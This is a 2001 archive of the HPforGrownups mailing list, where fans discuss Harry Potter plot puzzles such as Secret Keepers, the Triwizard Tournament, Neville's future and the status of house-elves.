> > going to be their Secret Keeper, then why couldn't James or Lily 
be 
> > his Secret Keeper?  That way all of them would have been 
impossible 
> > to find.
> > 
> > Why didn't they think of that?
> > 
> > Catherine
> > (BTW:  I know the answer is that otherwise most of the plot in 
PoA 
> > would be redundant, but still...)
> 
> Couple of reasons: a) Because the Spell itself makes it impossible.

Excuse me for being incredibly dense, but why does the spell itself 
make it impossible?

Catherine




From s_ings at yahoo.com  Thu Sep 27 20:36:07 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Thu, 27 Sep 2001 13:36:07 -0700 (PDT)
Subject: [HPforGrownups] Re: Double Secret Keepers?
In-Reply-To: <9p01hs+c6vh@eGroups.com>
Message-ID: <20010927203607.99282.qmail@web14610.mail.yahoo.com>

No: HPFGUIDX 26791

--- catherine at cator-manor.demon.co.uk wrote:
<snip>
If Sirius was originally going to be their Secret
Keeper, then why
> couldn't James or Lily 
> be 
> > > his Secret Keeper?  That way all of them would
> have been 
> impossible 
> > > to find.
> > > 
> > > Why didn't they think of that?
> > > 
> > > Catherine
> > > (BTW:  I know the answer is that otherwise most
> of the plot in 
> PoA 
> > > would be redundant, but still...)
> > 
> > Couple of reasons: a) Because the Spell itself
> makes it impossible.
> 
> Excuse me for being incredibly dense, but why does
> the spell itself 
> make it impossible?
> 
> Catherine

I don't think we know enough about how the spell works
to say whether you can have double secret keepers or
not. Personally, I think it would have been a great
idea, though I can see how it would have made things
difficult if someone needed to reach either party.
Interesting theory, Catherine.

Sheryll, pleased to see new ideas popping up


=====
"We need to be united and strong. We'll have losses and scares, sure. And you'll be there for each other, helping each other through the bad times."
 blpurdom - Harry Potter and the Psychic Serpent, Chapter 26

__________________________________________________
Do You Yahoo!?
Listen to your Yahoo! Mail messages from any phone.
http://phone.yahoo.com



From cynthiaanncoe at home.com  Thu Sep 27 20:42:14 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Thu, 27 Sep 2001 20:42:14 -0000
Subject: Double Secret Keepers?
In-Reply-To: <9p01hs+c6vh@eGroups.com>
Message-ID: <9p02v6+863a@eGroups.com>

No: HPFGUIDX 26792

--- In HPforGrownups at y..., catherine at c... wrote:

> > > Just listening to Fudge's account of what happened prior to the 
> > > Potters being murdered, and I heard that Sirius Black was 
> planning 
> > on 
> > > going into hiding.  I thought struck me.  If Sirius was 
> originally 
> > > going to be their Secret Keeper, then why couldn't James or 
Lily 
> be 
> > > his Secret Keeper?  That way all of them would have been 
> impossible 
> > > to find.
> > > 
> > > Why didn't they think of that?
> > > 
> > > Catherine
> > > (BTW:  I know the answer is that otherwise most of the plot in 
> PoA 
> > > would be redundant, but still...)
> > 
> --- In HPforGrownups at y..., s_luhtanen at h... wrote:> > Couple of 
reasons: a) Because the Spell itself makes it impossible.
> 
Catherine wrote:> Excuse me for being incredibly dense, but why does 
the spell itself 
> make it impossible?
> 

Let me see if I've got this straight, Catherine.  You're saying James 
and Lily should have used Peter as their Secret Keeper and also 
functioned as Secret Keepers for Sirius, right?

I don't think we know whether it is impossible for Sirius to use Lily 
and James as his Secret Keeper, while Peter serves as Secret Keeper 
for the Potters (I'll call it a Secret Keepers triangle).  We do know 
that the Fidelius Charm is very complex, so if they switched to Peter 
at the last second, then they simply may not have had time to do an 
additional Charm.  Or perhaps they were planning on doing just what 
you suggest, but Peter betrayed the Potters before Sirius could set 
it up.

But consider this:  I think we can assume that there are limitations 
on how many layers of Secret Keepers you can have.  If there were 
not, then the Potters don't need Sirius as Secret Keeper at all.  
Lily can be Secret Keeper for James, and James can serve for Lily 
(I'll call it Reciprocal Secret Keepers).  So the fact that they 
don't do this suggests that it is not possible.  And if Reciprocal 
Secret Keepers won't work, then maybe a Secret Keeper triangle won't 
work, either.

Or, at least, that's my take.  

Cindy (who is getting a little dizzy just thinking about this)




From catherine at cator-manor.demon.co.uk  Thu Sep 27 21:08:59 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Thu, 27 Sep 2001 21:08:59 -0000
Subject: Double Secret Keepers?
In-Reply-To: <9p02v6+863a@eGroups.com>
Message-ID: <9p04hb+5hag@eGroups.com>

No: HPFGUIDX 26793

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> --- In HPforGrownups at y..., catherine at c... wrote:
If Sirius was 
> > originally 
> > > > going to be their Secret Keeper, then why couldn't James or 
> Lily 
> > be 
> > > > his Secret Keeper?  That way all of them would have been 
> > impossible 
> > > > to find.
> > > > 
> > > > Why didn't they think of that?
> > > > 
> > > > Catherine
> Let me see if I've got this straight, Catherine.  You're saying 
James 
> and Lily should have used Peter as their Secret Keeper and also 
> functioned as Secret Keepers for Sirius, right?

Well, no, not exactly.  I meant that they could have kept Peter out 
of the picture entirely.  The double bluff wouldn't be necesaary if 
Sirius and the Potters were secret keepers for oneanother.  They 
would both know where each other was, but no one would be able to 
find either of them, so they wouldn't be captured and have the secret 
tortured out of them.  Peter would have been unnecessary.


> I don't think we know whether it is impossible for Sirius to use 
Lily 
> and James as his Secret Keeper, while Peter serves as Secret Keeper 
> for the Potters (I'll call it a Secret Keepers triangle).  We do 
know 
> that the Fidelius Charm is very complex, so if they switched to 
Peter 
> at the last second, then they simply may not have had time to do an 
> additional Charm.  Or perhaps they were planning on doing just what 
> you suggest, but Peter betrayed the Potters before Sirius could set 
> it up.
> 
> But consider this:  I think we can assume that there are 
limitations 
> on how many layers of Secret Keepers you can have.  If there were 
> not, then the Potters don't need Sirius as Secret Keeper at all.  
> Lily can be Secret Keeper for James, and James can serve for Lily 
> (I'll call it Reciprocal Secret Keepers).  So the fact that they 
> don't do this suggests that it is not possible.  And if Reciprocal 
> Secret Keepers won't work, then maybe a Secret Keeper triangle 
won't 
> work, either.
> 
> Or, at least, that's my take.  
> 
> Cindy (who is getting a little dizzy just thinking about this)

I know what you mean.  Yes, you are quite right about how Lily and 
James being able to be secret keepers for one another may not work.  
I hadn't actually thought of that.  But perhaps it is because Lily 
and James will be together they are, in effect, keeping the same 
secret?  Therefore, it is not really reciprocal, but belts and 
braces?  ie. two different concepts.  Of course, the same would apply 
if Sirius were to go into hiding with the Potters, so either way it 
may not work.

Catherine, who is now getting hopelessly confused with her own theory.




From lucy at luphen.co.uk  Thu Sep 27 21:12:01 2001
From: lucy at luphen.co.uk (Lucy Austin)
Date: Thu, 27 Sep 2001 22:12:01 +0100
Subject: Why the Triwizard Championship?
Message-ID: <005f01c14799$329860e0$33af1e3e@StephenDawson>

No: HPFGUIDX 26794

Hello,

I'd be grateful if someone could solve the problem that's been bothering us. Why does Harry have to be entered for the Tournament in the first place? Surely if Dumbledore's protections don't work against a Portkey on the Quidditch Pitch, they wouldn't work in the school either. All the fake Moody has to do is to turn Harry's homework book or something into a Portkey and call Harry up to his desk to get it. He doesn't care if people see Harry disappear because Voldemort will have him by then. If he really wants it to be secret, he could just send Harry out of the room to fetch whatever he's turned into the Portkey. Can someone make sense of this?

Lucy


[Non-text portions of this message have been removed]




From usergoogol at yahoo.com  Thu Sep 27 21:22:04 2001
From: usergoogol at yahoo.com (usergoogol at yahoo.com)
Date: Thu, 27 Sep 2001 21:22:04 -0000
Subject: genetics (and also, How does magic Work?) (and HIV too?)
In-Reply-To: <9ov2op+10aos@eGroups.com>
Message-ID: <9p059s+l9er@eGroups.com>

No: HPFGUIDX 26795

As a High School student who just happens to be smart, I'll have to say that your conclusion that its polygenic seems to make the most sense. My guess is that everyone (muggles, wizards, maybe even salamanders) possess a certian amount of the various "Magic Genes." Lets, for the purpose of this post, call it, 1000. (I don't know if that is ridiculously high or low, but I suspect that most people won't care.) 1000 genes. 

The "scientific-sounding" explanation that I've made up for my yet-to-be-written fanfic is that Natural magic ability is caused by the ability to create a chemical that causes magical force to stick to it. (Like electrons) Wands serve the purpose of having ripping the energy from the hand to the outside world, by way of having in its core, a very magical animal's remnants (animals can possess the magic gene too.) Then the energy is forced forward by the wand, and aimed at the wanted target, and performs its charm.

Anyway, there are many many various different genes which produce various chemicals (or maybe they all order up the same chemical. That sounds like reality.) If a person has say, 100 active genes, they will have a reasonable amount of magic, but not enough to do anything, so as a result, they will be a muggle/squib (depending on who their parents are.) If someone has say, 986 active genes, they will be a very powerful witch or wizard.

It's a lovely "theory." Actually, I added something else. Its kind of off topic, but its all a part of my yet-to-be-written fanfic, and I really just add anything I think might remotely fit in to the story.

HIV is a magical illness. It is a virus which contains the "magic attracting" chemical, but because viruses are small, instead of attracting magic, magic attracts them. In wizards, the virius isn't very dangerous, because it stays close to the magic, and rarely attacks T cells, because they are stuck to "streams of magic" in the wizard's body. The virius is also not trasmitted through body fluids, because body fluids do not carry too much magic. But, the virius CAN be transmitted through curses. When someone performs a charm, the virius is carried along to the object to be charmed. If that object is a human, the human gets infected. If that human is not a wizard, they may get infected by the virius, because they don't have too much magic to ward the virius away from their T cells.

When Voldemort's Death Eaters rose in power, alot of people (muggles) were attacked. They got infected, and spread the disease. According to the Lexicon, the Death Eaters were in power in the seventies. If my really recent history is accurate, that was when AIDS started to start getting bad. My "theory" is all non-canonical bunk, but it still fits.




From cynthiaanncoe at home.com  Thu Sep 27 21:27:06 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Thu, 27 Sep 2001 21:27:06 -0000
Subject: Why the Triwizard Championship?
In-Reply-To: <005f01c14799$329860e0$33af1e3e@StephenDawson>
Message-ID: <9p05ja+4vhe@eGroups.com>

No: HPFGUIDX 26796

 Lucy wrote:> 
> I'd be grateful if someone could solve the problem that's been 
bothering us. Why does Harry have to be entered for the Tournament in 
the first place? Surely if Dumbledore's protections don't work 
against a Portkey on the Quidditch Pitch, they wouldn't work in the 
school either. All the fake Moody has to do is to turn Harry's 
homework book or something into a Portkey and call Harry up to his 
desk to get it. He doesn't care if people see Harry disappear because 
Voldemort will have him by then. If he really wants it to be secret, 
he could just send Harry out of the room to fetch whatever he's 
turned into the Portkey. Can someone make sense of this?
> 

Many people have been bothered by this, although I must confess that 
it didn't even occur to me when I first read GoF.  Creative theories 
have been advanced.  One is that fake Moody needed time to learn how 
to change something into a portkey.  

The theory that I like best (not mine, by the way) is that Hogwarts 
has defenses against the use of portkeys for security reasons such 
that they don't work on the grounds.  Dumbledore made an exception 
for the Triwizard Tournament because the winner should not have to 
fight his/her way back out of the maze after winning.  So the cup was 
supposed to be a one-way ticket to the front of the maze.  Moody just 
added a pit stop at the graveyard.

Now, what I can't figure out is why Moody doesn't call Harry to his 
office the day before the tournament (by then, Voldemort is all 
rested up and ready for a first-class rebirthing) and transfigure 
Harry into a ferret, put him in a cage, leave Hogwarts and then just 
hand Harry the ferret to Voldemort.

Cindy 




From usergoogol at yahoo.com  Thu Sep 27 21:32:01 2001
From: usergoogol at yahoo.com (usergoogol at yahoo.com)
Date: Thu, 27 Sep 2001 21:32:01 -0000
Subject: Why the Triwizard Championship?
In-Reply-To: <005f01c14799$329860e0$33af1e3e@StephenDawson>
Message-ID: <9p05sh+umua@eGroups.com>

No: HPFGUIDX 26797

--- In HPforGrownups at y..., "Lucy Austin" <lucy at l...> wrote:
> Hello,
> 
> I'd be grateful if someone could solve the problem that's been bothering us. Why does Harry have to be entered for the Tournament in the first place? Surely if Dumbledore's protections don't work against a Portkey on the Quidditch Pitch, they wouldn't work in the school either. All the fake Moody has to do is to turn Harry's homework book or something into a Portkey and call Harry up to his desk to get it. He doesn't care if people see Harry disappear because Voldemort will have him by then. If he really wants it to be secret, he could just send Harry out of the room to fetch whatever he's turned into the Portkey. Can someone make sense of this?
> 
> Lucy
> 
> 
> [Non-text portions of this message have been removed]

The popular theory is Voldemort wanted to make a dramatic entrance. Here's what would have happened. After an exciting third round of the Triwizard Championship, the winner disappears. At first, people think this is all part of the contest, but then they get nervous. Then, Voldemort and his Death Eaters appear and attack the audience. It will announce to the world in a Dramatic way that would be sure to freak out alot of people. Imagine the headlines!

Daily Prophet reports: "HARRY POTTER MURDERED IN TRIWIZARD CHAMPIONISHIP; VOLDEMORT IS ALIVE; HUNDREDS KILLED"





From magpie1112 at yahoo.com  Thu Sep 27 21:32:37 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Thu, 27 Sep 2001 21:32:37 -0000
Subject: Hermione's Knowledge of the Longbottoms
In-Reply-To: <9ovcfv+bbmb@eGroups.com>
Message-ID: <9p05tl+dl58@eGroups.com>

No: HPFGUIDX 26798

--- In HPforGrownups at y..., b.jebenstreit at b... wrote:
> --- In HPforGrownups at y..., catherine at c... wrote:
> > --- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> Don?t hit me, but I think Snape will become DADA teacher at the
end 
> of the series. He has the knowledge and the skills. And the way 
> they are using them up, there is bound to be an opening for DADA 
> teachers. But only *after* he has done his part of learning. How to 
> treat students like Neville, for example.
> > 

I think that it will be *Neville* who will end up as the DADA 
teacher.  It's always been my feeling that Neville will show his true 
Gryffindor colors by the end of these books.  If he didn't have 
bravery, daring and nerve he would have ended up in Hufflepuff (which 
isn't a bad place to be - it's my own house and I'm proud of it - but 
loyalty and hard work, rather than bravery, are 'puffers strongest 
traits).  And it strikes me that Neville would be the type of person 
that would want to help others overcome their weakenesses - as he 
overcame his.  So he'd probably stay on at Hogwarts as a teacher.


> > One more thing on Neville - it has been postulated before (and I 
> > do agree with this) that Neville's bad memory is akin to Bertha 
> > Jorkins - ie. he was traumatised in some way by what happened to 
> > his parents and had a memory charm put on him.  I am wondering if 
> > his near-squibness is also related to this.  The trauma of his 
> > early life having the opposite affect it had in Harry's, in that 
> > he suppressed his magical ability somehow?  
> 
> Interesting thought. I am undicided on the trauma issue. But even 
> for an absend minded person Neville *is* unbelievably absent 
> minded. And like it is with Harry, magic comes to him, if it is 
> necessary. It is not for luck of skill, that he keeps failing. It 
> is because of lack of memory and nervousness and confidence.
> Ethanol

I've got to play devil's advocate on this one.  On the one hand, 
there have been instances where characters have unknowingly self-
sabotaged their powers because of low self-esteem or fear (the 
character that immediately springs to mind is Nynaeve of Rober 
Jordan's The Wheel of Time series).  So Neville may be doing 
something similar.  Somewhere in his brain he could be 
thinking, "magic is dangerous - look at what happened to mum and dad".

OTOH, Neville could be suffering from anxiety, stress and low self-
esteem and *that* could be causing memory (as well as confidence) 
problems.  I'm sure that wizards are just like muggles in that 
regard.  You just can't do well if you don't trust in yourself.

So anyway, I'd love to hear other views on Neville.  


- Denise (who just wants to see what Neville can do once he starts to 
believe in himself)




From ebonyink at hotmail.com  Thu Sep 27 21:34:04 2001
From: ebonyink at hotmail.com (Ebony)
Date: Thu, 27 Sep 2001 21:34:04 -0000
Subject: House Elves (again)
In-Reply-To: <95774A6A6036D411AFEA00D0B73C864303B05481@exmc3.urmc.rochester.edu>
Message-ID: <9p060c+3sub@eGroups.com>

No: HPFGUIDX 26799

--- In HPforGrownups at y..., "Hillman, Lee" <lee_hillman at u...> wrote:
 However, I continue to disagree with a straight allegory to slavery 
for precisely that reason: House elves, as they have been presented, 
Are. Not.  Human. Just because JKR uses other species as object 
lessons, does it necessarily follow that ALL other beings whom we 
encounter also serve as an allegory to a human social issue? (Boring 
and obvious, IMO, if that's all she's doing.)
> 

Bit of list-history:

About a year and some change ago, this debate was initiated by 
someone who fell on the House-Elves=Slaves side of the equation.  The 
dissention was mildly vehement... the argument ran something along 
the lines of "why would JKR, who is British, allude to slavery of the 
New World variety?"

I was silent then even though I agreed with those who said that it 
reminded them of slavery.  My silence was due to the fact that I was 
relatively new to the list at the time, and I was not sure if my 
ideas were a valid reading of HP's house-elves.

The plight of the house-elves doesn't remind me of that of 
homemakers.  I, too, agree with Hermione.  The house-elf system 
reminds me of feudalism and/or chattel slavery for the reasons that 
Ethanol mentioned.  I have read all of the other replies on this 
thread and those that come up whenever this debate occurs.  I don't 
think that those who disagree with me are necessarily slavery 
advocates... not by any stretch of the imagination.  Perhaps they 
just haven't studied it as I have... and not just the African/New 
World variety, but perpetual slavery as it has evolved/existed over 
time.  *shrug*  Just makes sense to me.  

> Preparing for the backlash...

No worries.  :-D

--Ebony AKA AngieJ




From jkusalavagemd at yahoo.com  Thu Sep 27 22:00:57 2001
From: jkusalavagemd at yahoo.com (Haggridd)
Date: Thu, 27 Sep 2001 22:00:57 -0000
Subject: Neville's prospects (was Re: Hermione's Knowledge of the Longbottoms)
In-Reply-To: <9p05tl+dl58@eGroups.com>
Message-ID: <9p07ip+83nh@eGroups.com>

No: HPFGUIDX 26800

--- In HPforGrownups at y..., magpie1112 at y... wrote:
> --- In HPforGrownups at y..., b.jebenstreit at b... wrote:

> I think that it will be *Neville* who will end up as the DADA 
> teacher.  It's always been my feeling that Neville will show his 
true 
> Gryffindor colors by the end of these books.  If he didn't have 
> bravery, daring and nerve he would have ended up in Hufflepuff 
(which 
> isn't a bad place to be - it's my own house and I'm proud of it - 
but 
> loyalty and hard work, rather than bravery, are 'puffers strongest 
> traits).  And it strikes me that Neville would be the type of person 
> that would want to help others overcome their weakenesses - as he 
> overcame his.  So he'd probably stay on at Hogwarts as a teacher.
> 
> 
> > > One more thing on Neville - it has been postulated before (and I 
> > > do agree with this) that Neville's bad memory is akin to Bertha 
> > > Jorkins - ie. he was traumatised in some way by what happened to 
> > > his parents and had a memory charm put on him.  I am wondering 
if 
> > > his near-squibness is also related to this.  
.
> 
> So anyway, I'd love to hear other views on Neville.  
> 
> 
> - Denise (who just wants to see what Neville can do once he starts 
to 
> believe in himself)

I agree that it would be most interesting to see Neville blossom and 
take a significant part in the events to come.  I have thought about 
evidence from canon that this might be so:

1.  He was, after all, Sorted into Gryffindor.
2.  He comes of excellent stock.  His parents were Aurors, and were 
not killed by Death Eaters, and withstood torture to the point of 
insanity.
3.  He was able to stand up even to his friends.  I agree with 
Dumbledore that this is a special kind of courage.

All the rest seems to me just wishful thinking and speculation.

I do think you have two phenomena intertwined with Neville.  The 
trauma of his memory of his parents is in itself enough for him to 
repress his memory and his ability, even without positing a memory 
charm.

Does anybody else have any canonical evidence, any red flags, 
pertaining to Neville his epiphany and any possible significant role 
for him?  

Haggridd




From psf2323 at go.com  Thu Sep 27 22:23:59 2001
From: psf2323 at go.com (psf2323 at go.com)
Date: Thu, 27 Sep 2001 22:23:59 -0000
Subject: Neville's prospects (was Re: Hermione's Knowledge of the Longbottoms)
In-Reply-To: <9p07ip+83nh@eGroups.com>
Message-ID: <9p08tv+kah8@eGroups.com>

No: HPFGUIDX 26801

While I don't have specific canonical support, I do agree with your 
theory regarding Neville.  He is terrified of the Crucitus Curse, 
which seems to support that he personally has had some trauma; IE: 
maybe he was there when his parents were tortured and has a repressed 
the memory - It seems deeper than a memory charm more like part of him 
is fighting against being a wizard.  Which would support that he was 
present when his parents were tortured.  

Neville reminds me of the type of person who has greatness in him (he 
did try and take on both Crabbe and Goyle once) if only someone or 
thing can unlock it and his association with Harry might just be the 
thing.

psf2323




From animalsbaby_1999 at yahoo.com  Thu Sep 27 22:36:32 2001
From: animalsbaby_1999 at yahoo.com (animalsbaby_1999 at yahoo.com)
Date: Thu, 27 Sep 2001 22:36:32 -0000
Subject: Why the Triwizard Championship?
In-Reply-To: <9p05sh+umua@eGroups.com>
Message-ID: <9p09lg+omkh@eGroups.com>

No: HPFGUIDX 26802

That sure would be a way Voldemort would want to return.  Just look 
at the Death Eaters and how they act... plus we all know from just 
reading the kind of flare Voldy's got!  However, also without the 
Championship, we wouldn't have seen how Harry's popularity or un-
popularity causes problems between Ron, Hermonie and Harry!  Also, it 
gives Harry a reason to be famous for something he had something to 
do with, because when Vol disappeared, Harry was too young to 
remember or even understand what happened.

Plus, it helps George and Fred open their joke shop and also Ron can 
finally have normal dress robs!

Laura
animalsbaby_1999 at yahoo.com
lhickman at home.com

 Imagine the headlines!
> 
> Daily Prophet reports: "HARRY POTTER MURDERED IN TRIWIZARD 
CHAMPIONISHIP; VOLDEMORT IS ALIVE; HUNDREDS KILLED"




From rowena_grunnion_ffitch at yahoo.com  Thu Sep 27 23:39:29 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Thu, 27 Sep 2001 16:39:29 -0700 (PDT)
Subject: [HPforGrownups] Hermione's Knowledge of the Longbottoms
In-Reply-To: <9d.1be8ff8e.28e4aa20@aol.com>
Message-ID: <20010927233929.9250.qmail@web20803.mail.yahoo.com>

No: HPFGUIDX 26803


--- djtarb at aol.com wrote:
> In a message dated Wed, 26 Sep 2001  1:48:40 PM
> Eastern Daylight Time, cynthiaanncoe at home.com
> writes:
> 
> > 
> > As for why Snape can't find it in his heart to
> give poor Neville a 
> > break . . . well, I'll let the Snape fans field
> that question.
> >

   As I see it Snape is not a man to suffer fools, or
inept students, gladly. His subject, Potions, is an
unforgiving art and he regards Neville not simply as a
timid, accident prone student but an active threat to
the safety of his classmates and Snape himself and
sees no reason to coddle him just because something
nasty happened to his parents.

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From rowena_grunnion_ffitch at yahoo.com  Thu Sep 27 23:59:29 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Thu, 27 Sep 2001 16:59:29 -0700 (PDT)
Subject: [HPforGrownups] RE: House Elves (again)
In-Reply-To: <95774A6A6036D411AFEA00D0B73C864303B05481@exmc3.urmc.rochester.edu>
Message-ID: <20010927235929.17534.qmail@web20806.mail.yahoo.com>

No: HPFGUIDX 26804

   I have taken the advice of an earlier poster,
(intended for Hermione) and done a little research.
   House elves would appear to be equivalent to
'Brownies'. According to Muggle folklore Brownies were
helpful household helpers usually doing their work
invisibly or overnight. They were seldom seen but
would occasionally manifest in an emergency to aid or
bring help to a member of their human family in
distress. Brownies appreciated having a bowl of new
milk and some fresh bread left out for them but were
seriously insulted by any other kind of payment,
especially clothes. A gift of clothes inevitably
caused  the Brownie to leave in a huff and
occasionally to curse the family with ill luck.
   In the case of House elves the usual Brownie trait
of loyalty to their Human hosts seems to have been
reinforced by magical compulsions making it impossible
for them to leave *unless* dismissed by the Wizard
through the now traditional gift of clothes. A free
House elf, (or Brownie) would never have put up with
the kind of treatment Dobby suffered. However those in
less abusive situations, such as Winky, are genuinely
content since this is in fact the kind of life they
would freely choose for themselves.
   Hagrid is thus quite right in saying House elves
want to take care of Humans *and* that they would be
insulted by payment. 
   However Hermione is right in thinking that House
elves' situation needs some reforming though quite
mistaken about the form it should take. They don't
need or want salaries, pensions or vacation time what
they do need is for the magical compulsions that force
them to remain with a family even against their will
to be lifted. Wizards and House elves alike will then
be able to return to the natural, symbiotic
relationship we see in traditional folklore.
     


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From MmeBurgess at msn.com  Fri Sep 28 00:00:43 2001
From: MmeBurgess at msn.com (Angela Burgess)
Date: Thu, 27 Sep 2001 20:00:43 -0400
Subject: MOVIE: Trailer
Message-ID: <OE144og7FpqVzFykjcZ00011653@hotmail.com>

No: HPFGUIDX 26805

OMG!!!  I'm watching Friends and just saw the trailer on TV for the first time!  I haven't seen it in the theater yet, so this was the first time on a screen larger than 2" square.  It has the troll, Fluffy, Norbert, everyone.  Anyway, it's great!  Watch for it!

AngelaGet more from the Web.  FREE MSN Explorer download : http://explorer.msn.com


[Non-text portions of this message have been removed]




From ebonyink at hotmail.com  Fri Sep 28 01:24:55 2001
From: ebonyink at hotmail.com (Ebony)
Date: Fri, 28 Sep 2001 01:24:55 -0000
Subject: Resources for Christian HP fans (was: new member, and an ex-harry hater at that)
In-Reply-To: <20010927031416.252.qmail@web11507.mail.yahoo.com>
Message-ID: <9p0jh7+cb2p@eGroups.com>

No: HPFGUIDX 26806

--- In HPforGrownups at y..., tara diane <taradiane at y...> wrote:
> 
> hello!

Welcome, Tara.  Glad you're here... sit back, relax, and enjoy the 
attentions of your elf and the ebb and flow of the discussion, debate 
and drama of this list!


> just thought i'd drop in and announce my
> presence.  i'm tara, 25, new here, blah blah
> blah.  as i referenced in the subject line, i
> am actually an ex-anti-potter muggle.  yeah, i
> was one of those who said "kids shouldn't read
> stuff dealing with the occult and witchcraft".  i was
> mainly basing my opinion on things that i had
> read in Christian articles, interviews, etc.  
> 

Your experience was mine almost *exactly* nearly two years ago, 
Tara.  Then again, I always marched to the beat of a different 
drummer... I don't fit the cookie-cutter mold of an evangelical!  

Try this article for starters:
http://www.findarticles.com/cf_0/m1058/33_116/58225013/p1/article.jhtm
l

There's also a great book out now.  It's called *What's A Christian 
To Do With Harry Potter?" by Connie Neal.  Might help in explaining 
things to your Christian family and friends who still are wary of the 
books.  

I am starting to think there ought to be an online resource page
(section in the Lexicon?  FAQ?) specifically for conservative 
Christians who are HP fans as well.  I'd love to speak with others 
about this off list.  E-mail me.

Again, Tara, you are welcome here!

--Ebony AKA AngieJ (watching a BRILLIANT PBS documentary about 
conservation Christian science majors in college attempting to 
reconcile their faith with evolution)




From morsethanatos at yahoo.com  Fri Sep 28 02:30:33 2001
From: morsethanatos at yahoo.com (morsethanatos at yahoo.com)
Date: Fri, 28 Sep 2001 02:30:33 -0000
Subject: What JKR did not say. An analysis of the interviews. 
Message-ID: <9p0nc9+3t4b@eGroups.com>

No: HPFGUIDX 26807

Hi. What I did was go through all the interviews and looked for 
questions that JKR did not answered or where the answeres were a bit 
peculiar. I combined this with the many mysteries floating around and 
my knowledge of the books. Below is the result. A bunch of my ideas 
and thoughts as to what might happen. I apologise that it is so 
bunched together but I tried to get everything in.  If you would like 
to see which questions and answers I found worthy of note I have them 
here: http://knuckles696.hypermart.net/hpinterviews.htm

1. Dudley's privileged existence has come to an end and will not go 
back JKR said to keep an eye on him as it's still not to late for 
him, as it is for his parents. But she also mentions a character who 
is able to do some magic late in life in a critical situation. Could 
it be that Privet Drive will be under attack? And that Petunia 
Dursely will actually do something? 
Also we do not know what exactly was in the letter that Dumbledore 
left, do the Dursleys know more than we have been told? Perhaps the 
reasons for Voldemort's determination to kill Harry was in there. 
2. In another interview JKR said that Harry was born to shoulder a 
certain burden. Could this be related to the prediction.  And perhaps 
the reason for Dumbledore having that twinkle in his eye was that the 
use of Harry's blood part of that prediction?
Also we do not know just how long Trelawney has been around. When did 
she make the first prediction and who heard it? It is doubtful that  
it was Dumbledore, but it must have been someone who immediately told 
him. 
3. Was Voldemort trying to kill Harry because of what his parents 
were doing? Perhaps he was special before the attack, and that is why 
Dumbly does not want him to know yet. 		
4. What do we gain from knowing wether or not Sirius will be 
acquitted?	
She said it would ruin an important plot point. What could that be?
5. Cats seem to be important throughout out the book. This may be a 
bit far-fetched but in Egypt cats considered the guardians of 
underworld. And JKR has drawn attention to that particular region of 
the world. And then there is Crookshanks, who appears to be part 
Kneazle. 
6. There are several occasions that wristwatches are mentioned. When 
asked if there would be any more time travel JRK refused to comment. 
This seems to hint that there could be. 
7. JRK also said that we will see the Weasley car, the centaurs and 
Aragog again. So the forest will play an important part. Will they 
get involved in the battle or perhaps provide hitherto unknown facts. 
8. Why so much attention to the eyes. There are Harry's green eyes 
and Voldemort's livid red, and Dumbledore's twinkling blue. Could 
there be some kind of magic that is related. 
9. JKR said that Harry will visit and see a lot of places that were 
mentioned before. How will he visit them? It is possible the fifth 
summer will be very action packed because him going during school 
seems doubtful. Unless it is related to that mysterious room. And is 
it the room that he has not discovered or the properties? 
10. The mystery of the ghosts and also the Bloody Barons relation to 
Peeves seem to be related. I am guessing we will find out both at the 
same time. 
11. What would be given away by saying if a DADA will stay longer 
than a year?
12. How will we find out about Figg? If there is an attack we might 
find out about her during the summer. It is also possible that she 
will be the new DADA teacher, since there will be one. 
13. "Have any of the Hogwarts professors had spouses?
Good question - yes, a few of them, but that information is sort of 
restricted - you'll find out why.. "
How can this be of relevance? Black mail? Hostages?
14. "Will Harry ever notice the long-suffering Ginny Weasley?
You'll see... poor Ginny, eh?.. "
So what will happen to Ginny?  Seems to be that she might not be that 
long suffering soon? Or is it the opposite?
15. "He might get a different pet at some point but I'm saying no 
more at this moment. "
 Why would there be any need for a different pet? Does Hedwig die?!


Hope some of this is usefull. 




From joym999 at aol.com  Fri Sep 28 03:04:49 2001
From: joym999 at aol.com (Joy M)
Date: Fri, 28 Sep 2001 03:04:49 -0000
Subject: The Order of the Phoenix
Message-ID: <9p0pch+ur8i@eGroups.com>

No: HPFGUIDX 26808

We have had some discussion about the meaning of the title "Order of 
the Phoenix." As a service to the community, I thought I would 
speculate, with the help of the American Heritage dictionary, on all 
the possibilities.  The dictionary definitions are contained within 
the [square brackets], the sentences which follow are my examples of 
the possible meaning of the new title.

[order (?r der) noun]
[1.  A condition of logical or comprehensible arrangement among the 
separate elements of a group.]

The Order of the Phoenix went from shortest to tallest.

[2.a. A condition of methodical or prescribed arrangement among 
component parts such that proper functioning or appearance is 
achieved: "Order, cleanliness, seemliness make a structure that is 
half support, half ritual" (Florida Scott-Maxwell). b. Condition or 
state in general: in good order.]

The Order of the Phoenix's bedroom was accomplished by hiring a maid.

[3.a. The established system of social organization: "Every 
revolution exaggerates the evils of the old order" (C. Wright Mills).]

The Order of the Phoenix ruled the Wizarding World  before the Goblin 
Rebellions.

[b. A condition in which freedom from disorder or disruption is 
maintained through respect for established authority: finally 
restored order in the rebellious provinces.]

The Order of the Phoenix really cut down on the crime rate.

[4. A sequence or an arrangement of successive things.]

The Order of the Phoenix was Fawkes, then his brother Squawkes, then 
his New York cousin Tawkes, then his plumber friend Cawkes, then the 
country bumpkin Gawkes, ......

[5. The prescribed form or customary procedure: the order of worship.]

Out of respect for the Order of the Phoenix, wizards do not usually 
disclose if they are animagi.

[6. An authoritative indication to be obeyed; a command or direction.]

Dumbledore issued an Order of the Phoenix, which suggested that all 
wizards opposing Voldemort brush up on their hexes and jinxes.

[7. a. A command given by a superior military officer requiring 
obedience, as in the execution of a task. b. orders. Formal written 
instructions to report for military duty at a specified time and 
place.]

Upon receiving the Order of the Phoenix, they surrounded the Death 
Eaters and readied their wands.

[8. a. A commission or an instruction to buy, sell, or supply 
something.]

Order the Phoenix now and get this potato peeler absolutely free!

